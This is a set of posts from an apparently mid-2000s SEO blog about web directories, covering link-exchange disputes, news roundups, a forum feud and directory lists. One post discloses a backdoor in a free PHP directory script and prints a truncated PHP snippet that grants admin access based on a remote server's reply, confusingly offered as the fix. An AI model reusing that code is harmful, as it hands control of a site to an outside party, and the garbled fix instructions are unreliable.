How Not to Run a Directory: Link to Me or I Delete Your Listing

So a new general directory owner or manager feels all listed sites should link back to them and is willing to delete the entire database if they have to.

Bet that adds value to their site. Good way to "build" a directory, eh.

What ever happened to the old concept of building value and then extracting profits from it?

Fun email sequence in the extended entry... from Lakhya

Regarding your site listing at:
I think i can get a backlink:

from me

once you stopped accepting sites I submitted I stopped caring about your directory.

sorry if that sounds blunt

but when you arbitrarily decide to stop accepting any and all
submissions I stop trying to help you.

from Lakhya management has changed. I am the webmaster now. This is one of the projects i have undertaken recently . I am restructuring hedir design and policy.
I have noticed that you have got 10 sites listed in my directory .
I do not find any history of your helping the directory either with link or any other way . Could you please enlighten me regarding this ? Coz i believe in the concept of mutual help in the webmaster
community .


I was helping your directory. it was in my directory of directories. it was on my list of directories that over 1,000 have, etc.

when it started screwing around with rejecting every submission I made I stopped making submissions and pulled my support for it.

I also have a theory that directories can charge for inclusion if they like but if they require reciprocal links and are general directories then generally they are a waste of time.

from Lakhya

The site is going paid this march , with basic submission still free.You are welcome to submit as many sites as you want .

Reciprocal link is a part of my policy towards existing sites as i am deleting the old base . So, i am pulling out your links from the directory .

You can resubmit your sites if you want .

On the other side of the coin I am a big fan of the Bruce Stone theory:

Give the webmasters what they need. Links, good and fast service and as many pages index by the search engines as conceivably possible. This generates traffic, something directories have been poor in delivering. You’re not doing the webmaster a favor by accepting their site. They are doing you the favor by developing the database for you. :from interview

It is a mutual thing and if you try to work hard to create something of value others will try to help you.

Sadly many directories subscribe to the Hedir philosophy.

Give me. I am greedy. Give me. Give me. Give me.

Directories list sites. Good sites do not generally list bad general directories.

The biggest problem with most sites these days is that most try to extract profit without building any value.

Sure you can do that if you are technologicaly gifted or know the right people, but deleting large portions of a database because they do not link to is probably the wrong way to "build" a directory.

Google Strong 4th Quarter, Yahoo! Japan Blogs, Australian SEM Conference

Google 4th Quarter:

Yahoo! Japan Blogs:
Yahoo Japan has beaten Yahoo to the blogosphere

Down Under:
Australian SEM Conference

DMOZ Post:
NickW finds Black Knight's what is wrong with DMOZ post ;)

A Rant Post About Directories...

So there have been an arse ton of new directories to hit the market.

I think listing sites in many of these will surely improve your Yahoo! and MSN search relevancy scores (or at least my own experiences have shown that), but I do not think many of them carry anywhere near as much weight with Google.

IMHO a disturbing pattern is emerging where the same directory owners own 2 or more directories which are easily identifiable as being related - especially since even many of the related directories have built significant portions of their link popularity from the same sources - and often even the same pages (while also registered under the same WhoIs information). Algorithms such as Hilltop mean the second "related" directory listing probobably counts for next to nothing in terms of its effects on Google's search relevancy.

The multi directory approach makes it far easier to make one of the directories a throw away...which makes the second similar directory do little to ensure added value over the first. If the registration data is the same for two directories and you do not expect them to drive much direct traffic then it might be worth just paying for listing in whichever one of the directories you think is going to be the main directory.

Lots of hate threads seem to be appearing about various directories (BlueFind, WebAtlas, and now RubberStamped)...often from other directory owners or close friends of other directory owners as well. Some people who run directories are also creating directory rating sites which are obviously going to be inherently biased.

When it comes down to it I do not think that search engines will need to do a ton of work to offset the effects various directories may have on search relevancy. The directory space is becoming hyper competitive (and thus likely providing diminishing returns for many directory owners) and many directories are making errors which will hurt themselves....sitewide payday loan links and top level penis pill listed sites do nothing to build brand or useful citation data.

If the search engines decide that data adds no value to their algorithm there is nothing that will force them to use it (as seen by what happened to SearchKing).

I have been trying my best to keep up with many of the directories, but eventually its going to be pretty darn hard to do. As the search algorithms continue to advance and new directories appear at an advancing rate I will probably have to look at other ways to keep up with new directories or abandondon the least in its current format.

I am starting to get the feeling that much of my time would be better spent learning and creating better ideas which effectively sell themselves, but for now I am still doing lots of submissions...

I am currently reading Blink and find it to be an interesting book thusfar. :)

ThreadWatch SEO Conference, Google Trademark Case in France, RubberStamped Listed in DMOZ, WikiPedia adopts NoFollow Tags, AdWor

Another SEO Conference:
Lots of good stuff at Threadwatch, including the announcement that ThreadWatch to have a free SEO conference end of May.

Google Loses Trademark Case in France:
A French court has ruled that Google must refrain from using the trademarks of European resort chain Le Meridian Hotels and Resorts to trigger keyword ads.

DMOZ Lists Directories: Rubber Stamped & WebAtlas...
Were both recently listed in DMOZ.

Peter D gets help from "the man" himself, and quickly finds that you can't be a successful person in the SEO space without having at least 1 hate thread from the fine folks at IHU.

In spite of Doug's whining to DMOZ Rubberstamped is still listed.

Stop the Spread of Viral Linkage Data:
Link Condom...the WikiPedia is one of the first sites to adopt the new policy :(

AdWords Changes to Come:
Google to Give AdWords API to Advertisers
Google is about to unveil a completely revamped Adwords/Adsense program to counter inroads from competitors such as Kanoodle

Why Make a Person Wait?

Sometimes when people apply to DMOZ they spend a half hour filling out the application and then hit submit. In return they get stuff like:

There has been a failure in processing your form. We will work on it, we hope to have it up soon.
We are sorry for the inconvenience.

Why make a person wait until AFTER they filled out all their info to tell them they are SOL?

You probably know when it is broken, why not just state that up front?

Leaving a broken form up which wastes time does not make the directory any more actually probably closes off a bunch of potential editors. Wasting people's time only builds negative sentiment.

Looking Forward

Bummer Deal for WebAtlas:
I have been visiting friends (in fact I am at a friends house typing this right now), but I have checked my email and recently my friend Nandini's directory was not listed in Google. I believe it had a 302 redirect error (pointing the root URL at the www. version) which was fixed, but it may take a while for the site to be reindexed. had a similar issue not too long ago if memory serves. The SEO Fundamentalists Speak Out:
The fact that Nandini's about 2 month old SEO forums just showed me over 10,000 pages listed in Google and get most of its inbound link popularity from WebAtlas (while linking back to WebAtlas from most of its pages) would indicate to me that this issue is probably a technical glitch, but some SEOs use these sorts of situations as marketing goldmines to promote their own holier than thouTM SEO beliefs.

Ihelpyou forums moderators showed their truely nasty selves when they wrote digraceful threads on multiple SEO forums.

I've read that IHU thread. It's nothing short of a vicious, malicious, personal attack by a bunch of low life cowards who delight in other peoples misfortune.

With one or two notable exceptions, the thread is populated by the scum of the web community - a poor bunch of outcasts that can find no better place for their whining self justification for poor skillsets than the deranged chuch of heil. Nick W

Lets not forget that this is the same IHY group that was falling all over themselves stating that Nandini and WebAtlas were great just two months ago. Doug even requested a link to his forums.

Of course Doug would not like to be reminded of these types of things, and some of his moderators such as Srikanth state:

none of the members at ihelpyouforums are trying to abuse her. Or, are not against her. We wish her success only.

You do not support a persons work by throwing arbitrary tags on it.

Legitimate Directories:
Doug Heil posted a short list of legitimate directories apparently based upon who frequently posts at his forums. The now good directories include WowDirectory, which Doug Heil also accused of being a spammer in the past.

The Changing Face of Marketing:
Peter D from SearchEngineBlog recently released a directory too. Some of the Ihelpyou moderators (such as Quadrille) state that they do not know of Peter or his reputation. Essentially what it comes down to is that they believe anything that is new is assumed bad until proven otherwise.

Ihelpyou even states that DMOZ and Yahoo! fill the directory role and that new directories do not matter.

What will be great is when Google decides to finally value directory links at "zero', while keeping the well-established directories the way they are.

In this line of thinking he forgets the concepts of innovation and change. Peter D states

But doesn't that stifle new approaches?

You could say the same for all sites - keep the new sites in a box, but allow old sites to stay where they are. The downside is the index looks stale.

Useful Feedback:
Compare the absolute nastiness of Ihelpyou to the useful information found in this thread on Threadwatch.

There are those who think everything that is new is bad. Some people are entirely controlled by fear. On the other side of the coin there are also innovators who have the ability to look forward and see value without needing the likes of Google to tell them specificially what is good and what is bad. If your marketing and your business are 100% reactionary then you are selling yourself short.

Don't forget that Google recommends submitting to relevant directories in their webmaster guidelines and fails to mention Doug Heil anywhere. The truth is that Doug is great marketing for Google because his existance makes all SEOs seem a little less mentally stable.

When people are in doubt or controlled by fear less people are likely to use risky or manipulative promotion techniques. IMHO directory registration is perhaps about as non risky as SEO can be, but so long as people like Doug blur the line and make all SEO services look like a bad investment AdWords becomes more appealing and more profitable.

Happy New Years to everyone, and I wish all of those at Ihelpyou Doug Heil's success.

Free Directory Software: Why Not Put in a few Programming Eggs?

Because it is pretty damn bogus.

[update: Javier has removed the database access egg from his script.]

Tons of new directories are springing up using the Free PHP Directory Script created by Javier García Esteban (of Directory-Search or Biz-Directory). While his download page states "the script runs without known bugs with PHP4 and MySQL3," the script also ran with known eggs put in the programming.

Anyone who puts eggs in their software so they can have backdoor access to anyone using it does not have the best intentions for their users.

The two eggs I have been told about are:

The first egg is harmless. It only identifies new installations. The second egg gave Javier access to your database.

The eggs are not hard to remove from the directory script. If you have an old version of the script you may want to remove the eggs.

  • You can replace the image in the first egg with your own image or just delete that line of code. That first egg really is no big deal.

  • The second egg is complete crap. [added: The second egg gives Javier backdoor access to the script. After I posted this Javier stated that he removed that egg. It is a shame that it was ever there in the first place.]

    To remove the second egg you need to remove that above part on line 60 (scroll way to the right) of include.php and replace it with:
    if ($pass) {
    $rand = md5(time());
    $access = fopen ("p=$rand","r");
    $access = fread($access,4);
    if ($access == "true") {
    $HTTP_SESSION_VARS['admin'] = true;
    header("Location: {$dir}admin_edit.php");
    (at least this is what I did)
    I also changed my PHPmyAdmin panel login password after I changed the script. Javier stated that the password was never sent even when the egg was there...he just was using it for backdoor he states in his comment below. He also stated the place which was sent the database access is now a 404 error.

Thanks to MarketingLady at V7N forums. More info about the Free PHP Directory Script Backdoor.

Major Web Directories

This is a list of Major Web Directories and reviewed web guides. Web Directories charges a $299 annual listing fee. is a purchase more for direct traffic than link popularity.
DMOZ - also known as the Open Directory Project - provides free listings, but it may take a while to get your site listed.
Gimpsy verb based directory which charges a one time $40 fee or also list your site free if you are willing to wait 21 days.
GoGuides one time $40 fee or provides free listings for editors.
JoeANT one time $40 fee or provides free listings for editors (it is quick and easy to become an editor.)
Lycos Directory European based directory.
Skaffe one time $40 fee or provides free listings to editors. Originally Built from GoGuides core data.
Uncover the Net - Newer directory which has more link popularity than all but a couple directories on this list. My friend Shawn has done a fantastic job promoting Uncover the Net. $39 fee. Highly recommended
Web Beacon one time $40 fee or provides free listings to editors. Originally Built from GoGuides core data.
Wow Directory - Bruce Stone's directory. Offers free inclusion, paid inclusion, and sponsorship opportunities. Highly recommended
Yahoo $299 annual fee or free for non commercial websites.

Reviewed Web Guides

BBC Webguide
Lirarians' Index of the Internet
WWW Virtual Library

More Directory Information

the directory archives is my ongoing project which is to be a directory of directories. I also like a number of smaller directories like Rubber Stamped, and recently wrote a more up to date post on directories.

The Strugles of a Directory

Here is another one of my articles. This one talks about the strugles that face directories today. Directories even as large in scale as the virtual library get rebuilt with newer and smaller sub directories.

My article also announces the launching of my new site Directory Archives .com

A MicroSoft Christmas

Just a reminder to those who do not have good Inktomi placement that MSN is to be dumping LookSmart in about a half a month (Jan 15). Some speculate that MSN may want to eventually shift to Ask Jeeves until it gets its technology in order.

I presume that MSN will stick with Inktomi until it builds its own technology. With Yahoo desiring to part ways with Google it is certain they will be investing heavily into making Inktomi a competitive product.

MSN will become competitve and remain so by the natural market forces of competition between Yahoo and Google... until it creates its own search product... You can check your Inktomi placement using Hotbot on its default setting, or by useing Pure Search provided by PositionTech.